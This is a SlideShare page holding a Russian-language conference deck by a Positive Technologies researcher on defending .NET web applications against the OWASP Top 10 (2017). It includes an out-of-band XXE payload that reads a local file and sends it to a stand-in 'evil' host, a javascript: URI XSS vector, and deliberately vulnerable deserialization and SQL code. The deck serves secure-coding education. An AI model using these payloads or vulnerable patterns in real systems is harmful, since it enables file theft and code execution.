SlideShare a Scribd company logo
Заголовок
ptsecurity.com
OWASP TOP 10
для .NET
Владимир Кочетков
Positive Technologies
Заголовок
Руководитель отдела исследований по анализу защищённости
приложений Positive Technologies
AppSec- и CS-исследователь (формальные методы анализа и
защиты приложений)
Организатор Positive Development User Group
https://about.me/vladimir.kochetkov
vkochetkov@ptsecurity.com
:~$ whoami
Заголовок
Открытое сообщество разработчиков и IT-
специалистов, посвящённое вопросам
безопасности приложений.
https://t.me/ru_appsec
Positive Development User Group
Заголовок
ptsecurity.com
approof.ptsecurity.com
github.com/libprotection
LibProtection
• Анализатор защищённости веб-приложений
.NET, Java, PHP
• Анализ конфигурации и уязвимых компонентов
• Сигнатурный статический анализ
• Поиск веб-шеллов и вредоносных сценариев
• Сбор статистики по проекту
• Альтернативная реализация форматных и
интерполированных строк, встраивающих в
приложение автоматическую защиту от атак
инъекций
• .NET 4.0+ (скоро: Kotlin, C++, Python, PHP,
JavaScript)
• SQL, HTML, JavaScript, URL и файловые пути
(скоро: XML, CSS, XPATH, CMD, BASH)
Заголовок
• Мастер-класс «Трущобы Application Security»
• Подводные камни прикладной криптографии
• ASP.NET Core: Preventing attacks 2.0
• .NET Security Cheat Sheet
Disclaimer или «хотите знать больше?»
Заголовок
OWASP TOP 10
Заголовок
• Хит-парад проблем безопасности веб-приложений,
формируемый с 2004, каждые 3-4 года, на основе опросов,
отчётов и аналитики множества компаний и независимых
экспертов: github.com/OWASP/Top10
• Включает в себя, как недостатки, так и атаки
• Версия 2017 года формировалась на основе отчётов более, чем
40 мировых компаний, содержавших статистику об уязвимостях
в 114 897 приложениях и опросов около 500 независимых
экспертов.
WTF OWASP TOP 10?
Заголовок
A primary aim of the OWASP Top 10 is to educate developers,
designers, architects, managers, and organizations about the
consequences of the most common and most important web
application security weaknesses
Предназначение OWASP TOP 10
Заголовок
A10:2017 – Insufficient Logging and Monitoring
Заголовок
Класс недостатков, связанных с низкой информативностью
диагностических средств или возможностью нарушения
целостности обрабатываемой ими информации
Неэффективное журналирование и мониторинг
Заголовок
• События управления доступом:
• Аутентификация и авторизация (как успех, так и отказ)
• Выдача сессионных токенов или других билетов аутентификации
• Явное завершение пользовательской сессии
• Восстановление доступа
• Все попытки доступа к конфиденциальной информации и
изменения целостной, включая результаты таких попыток
• Все ошибки и исключения (включая перехватываемые)
Что и когда логировать
Заголовок
• Просканировать приложение любым black-box анализатором:
• bbs.ptsecurity.com
• www.acunetix.com
• subgraph.com/vega
• Убедиться, что сформированные в ходе сканирования логи
достаточны для того, чтобы подтвердить факт
автоматизированной атаки
Простой способ убедиться в эффективности логирования
Заголовок
• Использовать существующие средства журналирования с
возможностью безопасной параметризации:
• github.com/NLog/Nlog
• serilog.net
• Все данные, производные от входных, записывать в лог через
параметризацию
• Обратить внимание на проект: github.com/Azure/diagnostics-
eventflow
Журналирование в .NET
Заголовок
A9:2017 – Using Components with Known
Vulnerabilities
Заголовок
github.com/jeremylong/DependencyCheck
vulners.com
Проверка уязвимых компонентов .NET-приложений
Заголовок
A8:2017 – Insecure Deserialization
Заголовок
• Недостаток, в результате которой атакующий имеет возможность
выполнить произвольный код на целевой системе или нарушить
целостность модели предметной области приложения
• Атака возможна в случаях, если атакующий контролирует
сериализованный объект и:
• у него есть возможность контролировать тип объекта, создаваемого
десериализатором;
• ожидаемый десериализатором тип содержит поля или свойства, для
которых актуальны угрозы нарушения целостности, авторизованности
или аутентичности.
Незащищённая десериализация
Заголовок
• В ходе реконструкции объекта могут использоваться вызовы:
• Конструкторов по умолчанию и заполнение полей и свойств через
рефлексию или вызовы соответствующих сеттеров
• «Специальных» конструкторов
• Конвертеров типов
• Обратных вызовов
• Рано или поздно (в большинстве случаев), созданный объект
будет финализирован и собран GC
Как работает сериализатор?
ЗаголовокСериализаторы .NET Framework (© Alvaro Muñoz)
ЗаголовокСериализаторы JSON (© Alvaro Muñoz)
Заголовок
// ...
services.AddMvc().AddJsonOptions(options =>
{
// XXX ∈ {
// TypeNameHandling.All,
// TypeNameHandling.Auto,
// TypeNameHandling.Arrays,
// TypeNameHandling.Objects
// }
options.SerializerSettings.TypeNameHandling = TypeNameHandling.XXX;
});
// ...
Уязвимый код (JSON.Net)
Заголовок
• Сформировать все возможные векторы атаки для используемого
десериализатора с помощью: github.com/pwntester/ysoserial.net
• Убедиться, что при передаче их в качестве сериализованных
объектов, заданная в векторе команда не выполняется
Лёгкий способ протестировать десериализатор
Заголовок
• Не десереализовывать входные данные
• При пробросе сериализованных данных между HTTP-запросами
использовать подтверждение их аутентичнсти (цифровую
подпись)
• Использовать десериализатор со строгим контролем типов
• Избегать использования при десериализации какой-либо
информации о типах, производной из входных данных
Как защититься?
Заголовок
• Attacking .NET Serialization
• Breaking .NET Through Serialization
Хотите знать больше?
Заголовок
A7:2017 – Cross-Site Scripting (XSS)
Заголовок
• Атака (как правило – инъекции), направленная на выполнение
кода произвольного сценария на клиенте в контексте атакуемого
сайта → обход ограничений same origin policy
• Специфические подходы к защите:
• X-XSS-Protection:
• 1;mode=block
• 1;report=http://example.com/report_URI
• X-Content-Type-Option: nosniff
• Content-Security-Policy:
(www.owasp.org/index.php/OWASP_Secure_Headers_Project )
• Access-Control-Allow-Origin:
(www.owasp.org/index.php/HTML5_Security_Cheat_Sheet#Cross_Origin_Resource_Sharin
g)
Межсайтовый скриптинг
Заголовок
<?i[a-z!/?]|&#
habrahabr.ru/company/pt/blog/178357
О костылях: валидация запросов ASP.NET
Заголовок
A6:2017 – Security Misconfiguration
ЗаголовокКак должно быть (разработчик, безопасник, администратор)
ЗаголовокКак обычно получается
Заголовок
Обеспечивать безопасность первоначальной (дефолтной)
конфигурации приложения
Что должен делать разработчик?
Заголовок
• При разработке нового проекта под ASP.NET MVC5 взять за
основу шаблон github.com/johnstaveley/SecurityEssentials/
• github.com/ASP-NET-Core-Boilerplate/Templates – при разработке
под ASP.NET Core
• Если это невозможно, обеспечить безопасность первоначальной
конфигурации вручную
Так, а делать-то – что?
Заголовок
• Убрать из конфигурационных файлов все неиспользуемые
директивы и опции
• Обеспечить отсутствие в релизной конфигурации по умолчанию
реквизитов доступа к каким-либо ресурсам
• Использовать .NET 4.6.2+ или .NET Core 2.0+ (поддержка TLS
1.1/1.2, расширенная валидация запросов, защита от XXE и т. п.)
Защита конфигурации: базовый чек-лист (1/4)
Заголовок
• Использовать опции из Web.Config, рекомендованного OWASP:
gist.github.com/kochetkov/1132463fb16725694640404c04040621
• Использовать точечное отключение валидации запросов только
там, где это действительно необходимо:
• На страницах: <@ Page validateRequest="false" %>
• В контроллерах: [ValidateInput(false)]
• В свойствах модели: [AllowHtml]
• В выражениях: Request.Unvalidated()
Защита конфигурации: базовый чек-лист (2/4)
Заголовок
• Убрать HTTP-заголовки:
<httpRuntime enableVersionHeader="false" />
HttpContext.Current.Response.Headers.Remove("Server");
• Форсировать отправку cookies через TLS:
<httpCookies requireSSL="true"
xdt:Transform="SetAttributes(requireSSL)"/>
<authentication>
<forms requireSSL="true"
xdt:Transform="SetAttributes(requireSSL)"/>
</authentication>
Защита конфигурации: базовый чек-лист (3/4)
Заголовок
• Для проектов под ASP.NET Core использовать
github.com/andrewlock/NetEscapades.AspNetCore.SecurityHeaders
Защита конфигурации: базовый чек-лист (4/4)
Заголовок
A5:2017 – Broken Access Control
Заголовок
• Недостаток, позволяющий атакующему воспользоваться
привилегиями под учётной записью, которая ими не обладает.
• Некоторые возможные причины:
• Отсутствие или неэффективность проверок доступа
• Использование незащищённых идентификаторов ресурсов
• Возможность подделки, воспроизведения или использования
сессионных токенов
• Неправильная конфигурация CORS
• Отсутствие проверок доступа в методах контроллеров, изменяющих
состояние модели
Неэффективный контроль доступа
Заголовок
• Вся доступная функциональность бизнес-логики должна быть
распределена между ролями явным образом. Гость – тоже роль.
services.ConfigureMvc(options =>
{
options.Filters.Add(
new AuthorizeFilter(new AuthorizationPolicyBuilder()
.RequireAuthenticatedUser()
.Build()));
});
Как защититься (1/2)
Заголовок
• Элементы контроля доступа должны быть реализованы на всех
слоях:
• Представление: сокрытие информации о недоступной
функциональности
• Бизнес-логика: отсутствие функциональности, меняющей состояние
модели до выполнения авторизации
• Модель: контроль доступа с учетом запрашиваемых данных (row-level
security и т.п)
• Идентификаторы объектов должны обладать прямой и обратной
секретностью
Как защититься (2/2)
Заголовок
A4:2017 – XML External Entities (XXE)
Заголовок
• Атака на парсер XML, основанная на внедрении в документ
внешних сущностей и позволяющая осуществлять чтение
локальных файлов и, в некоторых случаях, выполнять
произвольный код
• Возможна, если в парсере XML включена обработка внешних
сущностей
Внедрение внешних сущностей XML
Заголовок
attack.xml:
<?xml version="1.0" encoding="uq-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://evilhost/evil.xml">
%remote; %internal; %trick;
]>
evil.xml:
<!ENTITY % payload SYSTEM "file:///c:/boot.ini">
<!ENTITY % internal "<!ENTITY &#37; trick SYSTEM
http://evil/?%payload;'>">
Пример атаки Out-of-Band XXE Data Retrieval
Заголовок
• XmlReader
• Свойство ProhibitDtd
• .NET <4.0: true/false, по умолчанию – true;
• .NET 4.0+: Prohibit/Ignore/Parse, по умолчанию – Prohibit;
• XmlTextReader
• Свойство ProhibitDtd
• .NET <4.0: true/false, по умолчанию – true;
• .NET 4.0+: Prohibit/Ignore/Parse, по умолчанию – Parse;
• XmlDocument
• Свойство XmlResolver
• .NET <4.6: DefaultXmlResolver
• .NET 4.6+: null
XML парсеры .NET
Заголовок
• XXE and .NET
• XML Out-of-Band Data Retrieval
Хотите знать больше?
Заголовок
A3:2017 – Sensitive Data Exposure
Заголовок
• Недостаток, позволяющий атакующему получить доступ к
конфиденциальной информации
• Причины:
• Утечки по побочным каналам (тайминги, реакция приложения на
штатные запросы)
• Неэффективное использование криптографии
• Использование незащищённых протоколов передачи информации
Разглашение значимых данных
ЗаголовокТайминг-атаки
LAN: разница в 200 наносекунд за 1000 измерений;
Internet: разница в 30 микросекунд за 1000 измерений;
www.cs.rice.edu/~dwallach/pub/crosby-timing2009.pdf
В случае с HTTP есть возможность усилить канал:
xakep.ru/2015/06/03/web-app-hack-keep-alive
Добавление случайных временных задержек проблему не
решает:
events.ccc.de/congress/2012/Fahrplan/attachments/2235_29c3-
schinzel.pdf
Заголовок
ЗаголовокСтрах и ненависть в отдельно взятом проекте: 2010 (1/2)
var fieldName = Request["field"] ?? "Id";
var minValue = Request["min"];
var maxValue = Request["max"];
var queryTemplate = string.Format(
"SELECT * FROM Users WHERE {0} >= @minValue AND {0} <= @maxValue ORDER BY {0}",
Regex.Replace(fieldName, "?i[^a-z0-9]+", string.Empty)
);
var selectCommand = string.Format(queryTemplate, debugStr);
var cmd = new SqlCommand(selectCommand, dataConnection);
cmd.Parameters.Add(new SqlParameter("@minValue", minValue));
cmd.Parameters.Add(new SqlParameter("@maxValue", maxValue));
...
/users/filter.aspx?field={fieldName}&min={minBalue}&max={maxValue}
Users
Id
Nickname
Rating
MessageCount
TopicCount
Password
ЗаголовокСтрах и ненависть в отдельно взятом проекте: 2010 (2/2)
var fieldName = Request["field"] ?? "Id";
var minValue = Request["min"];
var maxValue = Request["max"];
var queryTemplate = string.Format(
"SELECT * FROM Users WHERE {0} >= @minValue AND {0} <= @maxValue ORDER BY {0}",
Regex.Replace(fieldName, "[^a-zA-Z0-9]+", string.Empty)
);
var selectCommand = string.Format(queryTemplate, debugStr);
var cmd = new SqlCommand(selectCommand, dataConnection);
cmd.Parameters.Add(new SqlParameter("@minValue", minValue));
cmd.Parameters.Add(new SqlParameter("@maxValue", maxValue));
...
/users/filter.aspx?field=Password&min=0&max=0
Users
Id
Nickname
Rating
MessageCount
TopicCount
Password
Заголовок
• HTTP через TLS. Предназначен для обеспечения:
• конфиденциальности и целостности данных, передаваемых по HTTP;
• аутентичности стороны сервера (реже – и клиента).
• Или иными словами для защиты от атак класса MitM.
Немного об HTTPS
Заголовок
• Популярные подходы:
• HTTP по умолчанию, HTTPS по выбору пользователя,
• HTTP везде, критические точки входа через HTTPS,
неэффективны и подвержены атакам TLS Stripping.
• Частично противодействовать им можно, используя:
• site-wide HTTPS без опционального HTTP,
• HTTP-заголовок: Strict-Transport-Security: max-age=expireTime [;
includeSubdomains],
при условии, что первый раз пользователь попадет на сайт
по протоколу HTTPS.
Немного об HTTPS
Заголовок
A2:2017 – Broken Authentication
Заголовок
• Недостаток, позволяющий атакующему получать информацию
об учётных данных других пользователей или
аутентифицироваться от лица других пользователей
• Причины:
• Отсутствие или неэффективная реализация защиты от
автоматизированных атак (прямой перебор по пользователю или
паролю, набивка учетных данных и т.п)
• Неэффективный контроль сложности паролей
• Хранение учётных данных в открытом или недостаточно защищённом
виде
• Отсутствие или неэффективное использование 2FA
• Проблемы конфиденциальности и актуальности сессионных токенов
Неэффективная аутентификация
Заголовок
• Внедрение средств анти-автоматизации (reCAPTCHA)
• Ограничение (замедление) попыток прямого перебора
• Пароля по известному имени
• Имени по известному паролю
• Утекших учётных данных с других ресурсов
• Внедрение средств контроля сложности паролей (есть нюансы)
Как защититься
Заголовок
Криптографические функции хэширования не подходят для
задачи хранения учётных данных.
Для хэширования паролей следует использовать адаптивные
функции Argon2 (password-hashing.net), PBKDF2, scrypt, bcrypt:
pwd-hash = salt || adaptive_hash(password, salt)
или дайджест-функции:
pwd-hash = salt || HMAC-SHA-256(password, salt, secret)
Общие принципы хранения паролей
Заголовок
• Предназначение соли — затруднение атак по словарям и
радужным таблицам
• Соль не является секретом и должна быть случайной и
уникальной для каждого пароля
• Длина соли должна быть достаточной для обеспечения
энтропии salt || password >= 256 бит для любого возможного
пароля → длина соли >= 32 байта
Соль
Заголовок
// .NET Framework
public static string GetPasswordHash(string password)
{
var rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, 32);
rfc2898DeriveBytes.IterationCount = 16384;
byte[] hash = rfc2898DeriveBytes.GetBytes(32);
byte[] salt = rfc2898DeriveBytes.Salt;
return Convert.ToBase64String(salt) + "|" + Convert.ToBase64String(hash);
}
// .NET Core
public static string GetPasswordHash(string password)
{
byte[] salt = new byte[128 / 8];
using (var rng = RandomNumberGenerator.Create()) { rng.GetBytes(salt); }
string hash = Convert.ToBase64String(KeyDerivation.Pbkdf2(
password: password,
salt: salt,
prf: KeyDerivationPrf.HMACSHA256,
iterationCount: 16384,
numBytesRequested: 256 / 8));
return Convert.ToBase64String(salt) + "|" + hash;
}
Хранение паролей в .NET
Заголовок
• Password Storage Cheat Sheet
Хотите знать больше?
Заголовок
A1:2017 – Injection
Заголовок
• Уязвимость к атакам инъекции – состояние приложения, в
котором возможно внедрение в выходные данные
грамматических конструкций, не предусмотренных логикой
приложения
• Тема защиты от атак инъекций была достаточно подробно
раскрыта в докладе «Побеждая инъекции» на DotNext Moscow
2017 (слайды, видео)
• По исходным данным OWASP TOP 10 2017, этому классу атак
подвержены 60.6% приложений.
Инъекция
Заголовок
• «…достаточно банальные примеры, которые были бы актуальны
несколько лет назад»
• «…в целом доклад теряет свой смысл, если код написан без
использования устаревших подходов»
• «…[LibProtection] скорее для компаний, которые не заботятся о
коде, живут в легаси-системах и не знают, что после .NET 2.0
выходили более новые версии, а .NET Core для них просто
ругательство»
По следам полученного фидбека (1/2)
Заголовок
• «…не рассказал как правильно делать, а просто рассказывал
про то, как костылями можно дырки закрывать»
• «…был задан правильный вопрос про то, что многие так уже не
пишут, а используют объектный подход. Каких атак тогда
опасаться?»
По следам полученного фидбека (2/2)
Заголовок
Использование объектного подхода
в борьбе с инъекциями
Заголовок
Реализовать в приложении ASP.NET Core MVC рендер ссылок,
безопасно обрабатывающий некорректные URL и генерирующий
для ссылок на внешние ресурсы вывод диалога с
предупреждением.
Проблема
Заголовок
public override void Process(TagHelperContext context, TagHelperOutput output)
{
var url = context.AllAttributes["href"].Value.ToString();
if (!Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute))
{
throw new UriFormatException("Malformed URI");
}
var uri = new Uri(url, UriKind.RelativeOrAbsolute);
if (!uri.IsAbsoluteUri || RequestHost == uri.Host) { return; }
var onclickHandler =
$"return confirm('You are about visit an external link: {uri} Are you sure?')";
output.Attributes.SetAttribute("onclick", onclickHandler);
}
Решение: реализовать TagHelper для тегов <a>
ЗаголовокDEMO #1
ЗаголовокПричина уязвимости – вариативность грамматики URI
javascript://localhost/?a=rnalert(1)
System.Uri Browser
javascript: Scheme javascript: Scheme
// - (separator) //localhost/?a= JS-comment
localhost Domain rn Line-feed
/ - (separator) alert(1) JS-expression
? - (separator)
a=rnalert(1) Query-parameter
Заголовок
public override void Process(TagHelperContext context, TagHelperOutput output)
{
var url = context.AllAttributes["href"].Value.ToString();
if (!Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute))
{
throw new UriFormatException("Malformed URI");
}
var uri = new Uri(url, UriKind.RelativeOrAbsolute);
if (!uri.IsAbsoluteUri || RequestHost == uri.Host) { return; }
if (!Regex.IsMatch(uri.Scheme, "https?|ftp"))
{
throw new UriFormatException("Invalid scheme");
}
var onclickHandler =
$"return confirm('You are about visit an external link: {uri} Are you sure?')";
output.Attributes.SetAttribute("onclick", onclickHandler);
}
Устранение уязвимости
Заголовок
Какими будут URL создаваемые с помощью
new Uri("/path", <UriKind>) ?
http://www.mono-project.com/docs/faq/known-issues/urikind-relativeorabsolute/
https://github.com/dotnet/corefx/issues/22098
Ещё немного о объектном подходе на примере System.Uri
.ctor
.NET 4.7,
.NET Core 2.0,
Mono 5.4
(Windows)
.NET Core 2.0
(Linux)
Mono 5.4
(Linux)
new Uri("/path", UriKind.Absolute) Исключение Абсолютный Абсолютный
new Uri("/path", UriKind.Relative) Относительный Исключение Относительный
new Uri("/path", UriKind.RelativeOrAbsolute) Относительный Относительный Абсолютный
Заголовок
• Средства параметризации и объектного подхода:
• всего лишь частный случай типизации в рамках борьбы с инъекциями;
• не всегда существуют или применимы и не являются панацеей;
• могут содержать неоднозначности, уязвимости и ошибки в своём коде;
• часто требуют от разработчика доскональных знаний грамматик и
деталей своей реализации.
• Думать всё равно придётся  (даже, в случае с LibProtection)
Вся правда о «современных средствах разработки»
ЗаголовокКстати, о LibProtection (aka «костыльном подходе»)
private static string BuildSafeLinkTag(string url, string text, string localhost)
{
var uri = new Uri(url, UriKind.RelativeOrAbsolute);
var clickHandler = uri.IsAbsoluteUri && localhost != uri.Host ?
$"return confirm('Are you sure you want to follow this link: {uri} ?')" :
"return true"
return SafeString.Format<Html>(
$"<a href='{uri}' onclick='{clickHandler:safe}'>{text}</a>"
);
}
Заголовок
ptsecurity.com
Спасибо!
Спасибо!

More Related Content

What's hot

Безопасность Drupal сайтов
Безопасность Drupal сайтовБезопасность Drupal сайтов
Безопасность Drupal сайтов
Eugene Fidelin
 
Безопасность сессий в веб-приложениях: практическое применение
Безопасность сессий в веб-приложениях: практическое применениеБезопасность сессий в веб-приложениях: практическое применение
Безопасность сессий в веб-приложениях: практическое применение
SQALab
 
Опыт организации тестирования безопасности Web приложений в компании
Опыт организации тестирования безопасности Web приложений в компанииОпыт организации тестирования безопасности Web приложений в компании
Опыт организации тестирования безопасности Web приложений в компании
SQALab
 
Пост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеПост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновение
beched
 
[DagCTF 2015] Hacking motivation
[DagCTF 2015] Hacking motivation[DagCTF 2015] Hacking motivation
[DagCTF 2015] Hacking motivation
beched
 
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days
 
Философия Application Security
Философия Application SecurityФилософия Application Security
Философия Application Security
Vladimir Kochetkov
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter edition
Andrew Petukhov
 
Random numbers in Ethereum blockchain rus
Random numbers in Ethereum blockchain rusRandom numbers in Ethereum blockchain rus
Random numbers in Ethereum blockchain rus
Dmitry Mishunin
 
Fuzzing - автоматическое тестирование безопасности
Fuzzing - автоматическое тестирование безопасностиFuzzing - автоматическое тестирование безопасности
Fuzzing - автоматическое тестирование безопасности
SQALab
 
OWASP: безопасное программирование на PHP.
OWASP: безопасное программирование на PHP.OWASP: безопасное программирование на PHP.
OWASP: безопасное программирование на PHP.
EatDog
 
Введение в блокчейн и алгоритмы консенсуса / Филипп Филиппак (Waves Platform)
Введение в блокчейн и алгоритмы консенсуса / Филипп Филиппак (Waves Platform)Введение в блокчейн и алгоритмы консенсуса / Филипп Филиппак (Waves Platform)
Введение в блокчейн и алгоритмы консенсуса / Филипп Филиппак (Waves Platform)
Ontico
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
Positive Development User Group
 
The Old New ASP.NET
The Old New ASP.NETThe Old New ASP.NET
The Old New ASP.NET
Vitaly Baum
 
Популярні способи зломів та шахрайські схеми
Популярні способи зломів та шахрайські схемиПопулярні способи зломів та шахрайські схеми
Популярні способи зломів та шахрайські схеми
Avivi Academy
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Yandex
 
Реактивный двигатель вашего Android приложения
Реактивный двигатель вашего Android приложенияРеактивный двигатель вашего Android приложения
Реактивный двигатель вашего Android приложения
Matvey Malkov
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
Positive Development User Group
 

What's hot (20)

Безопасность Drupal сайтов
Безопасность Drupal сайтовБезопасность Drupal сайтов
Безопасность Drupal сайтов
 
Безопасность сессий в веб-приложениях: практическое применение
Безопасность сессий в веб-приложениях: практическое применениеБезопасность сессий в веб-приложениях: практическое применение
Безопасность сессий в веб-приложениях: практическое применение
 
Опыт организации тестирования безопасности Web приложений в компании
Опыт организации тестирования безопасности Web приложений в компанииОпыт организации тестирования безопасности Web приложений в компании
Опыт организации тестирования безопасности Web приложений в компании
 
Пост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеПост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновение
 
[DagCTF 2015] Hacking motivation
[DagCTF 2015] Hacking motivation[DagCTF 2015] Hacking motivation
[DagCTF 2015] Hacking motivation
 
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
 
Философия Application Security
Философия Application SecurityФилософия Application Security
Философия Application Security
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter edition
 
Random numbers in Ethereum blockchain rus
Random numbers in Ethereum blockchain rusRandom numbers in Ethereum blockchain rus
Random numbers in Ethereum blockchain rus
 
Fuzzing - автоматическое тестирование безопасности
Fuzzing - автоматическое тестирование безопасностиFuzzing - автоматическое тестирование безопасности
Fuzzing - автоматическое тестирование безопасности
 
OWASP: безопасное программирование на PHP.
OWASP: безопасное программирование на PHP.OWASP: безопасное программирование на PHP.
OWASP: безопасное программирование на PHP.
 
Введение в блокчейн и алгоритмы консенсуса / Филипп Филиппак (Waves Platform)
Введение в блокчейн и алгоритмы консенсуса / Филипп Филиппак (Waves Platform)Введение в блокчейн и алгоритмы консенсуса / Филипп Филиппак (Waves Platform)
Введение в блокчейн и алгоритмы консенсуса / Филипп Филиппак (Waves Platform)
 
Securing Rails Applications
Securing Rails ApplicationsSecuring Rails Applications
Securing Rails Applications
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
 
The Old New ASP.NET
The Old New ASP.NETThe Old New ASP.NET
The Old New ASP.NET
 
Популярні способи зломів та шахрайські схеми
Популярні способи зломів та шахрайські схемиПопулярні способи зломів та шахрайські схеми
Популярні способи зломів та шахрайські схеми
 
MS TFS 2010 - Обзор и архитектура
MS TFS 2010 - Обзор и архитектураMS TFS 2010 - Обзор и архитектура
MS TFS 2010 - Обзор и архитектура
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
 
Реактивный двигатель вашего Android приложения
Реактивный двигатель вашего Android приложенияРеактивный двигатель вашего Android приложения
Реактивный двигатель вашего Android приложения
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 

Similar to Владимир Кочетков "OWASP TOP 10 для.NET"

11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волков
karina krew
 
Система обработки бизнес-логики server-side приложения на Groovy
Система обработки бизнес-логики server-side приложения на GroovyСистема обработки бизнес-логики server-side приложения на Groovy
Система обработки бизнес-логики server-side приложения на GroovyRegn
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложения
Maxim Krentovskiy
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Ontico
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
Positive Hack Days
 
Formal verification of operating system kernels
Formal verification of operating system kernelsFormal verification of operating system kernels
Formal verification of operating system kernels
Denis Efremov
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?phpdevby
 
Атаки на web-приложения. Основы
Атаки на web-приложения. ОсновыАтаки на web-приложения. Основы
Атаки на web-приложения. ОсновыPositive Hack Days
 
Александр Коротин. Безопасность систем управления турбинами в электроэнергетике
Александр Коротин. Безопасность систем управления турбинами в электроэнергетикеАлександр Коротин. Безопасность систем управления турбинами в электроэнергетике
Александр Коротин. Безопасность систем управления турбинами в электроэнергетике
Kaspersky
 
Что, зачем и каким образом следует проверять и тестировать перед запуском сай...
Что, зачем и каким образом следует проверять и тестировать перед запуском сай...Что, зачем и каким образом следует проверять и тестировать перед запуском сай...
Что, зачем и каким образом следует проверять и тестировать перед запуском сай...
Alexey Kostin
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
Dmitry Evteev
 
Реализация тестового фреймворка на основе OPEN-SOURCE инструментов
Реализация тестового фреймворка на основе OPEN-SOURCE инструментовРеализация тестового фреймворка на основе OPEN-SOURCE инструментов
Реализация тестового фреймворка на основе OPEN-SOURCE инструментов
SQALab
 
Open Source Testing Framework: real project example and best practices
Open Source Testing Framework: real project example and best practicesOpen Source Testing Framework: real project example and best practices
Open Source Testing Framework: real project example and best practices
Aliaksandr Ikhelis
 
Дело тестера боится: как в опытных руках могут заиграть Java и TestNg
Дело тестера боится: как в опытных руках могут заиграть Java и TestNgДело тестера боится: как в опытных руках могут заиграть Java и TestNg
Дело тестера боится: как в опытных руках могут заиграть Java и TestNg
IT61
 
И снова разработка под iOS. Павел Тайкало
И снова разработка под iOS. Павел ТайкалоИ снова разработка под iOS. Павел Тайкало
И снова разработка под iOS. Павел ТайкалоStanfy
 
Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...
Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...
Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...Denis Kolegov
 
Общая модель аутентификации HTTP-сообщений на основе хэш- функций в веб-прил...
Общая модель аутентификации  HTTP-сообщений на основе хэш- функций в веб-прил...Общая модель аутентификации  HTTP-сообщений на основе хэш- функций в веб-прил...
Общая модель аутентификации HTTP-сообщений на основе хэш- функций в веб-прил...Positive Hack Days
 
Test Driven Development in ASP.NET MVC 3
Test Driven Development in ASP.NET MVC 3Test Driven Development in ASP.NET MVC 3
Test Driven Development in ASP.NET MVC 3Anton Vidishchev
 
SibirCTF 2016. Практические методы защиты веб-приложений
SibirCTF 2016. Практические методы защиты веб-приложенийSibirCTF 2016. Практические методы защиты веб-приложений
SibirCTF 2016. Практические методы защиты веб-приложений
Denis Kolegov
 
Виталий Каторгин, Wamba
Виталий Каторгин, WambaВиталий Каторгин, Wamba
Виталий Каторгин, Wamba
Ontico
 

Similar to Владимир Кочетков "OWASP TOP 10 для.NET" (20)

11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волков
 
Система обработки бизнес-логики server-side приложения на Groovy
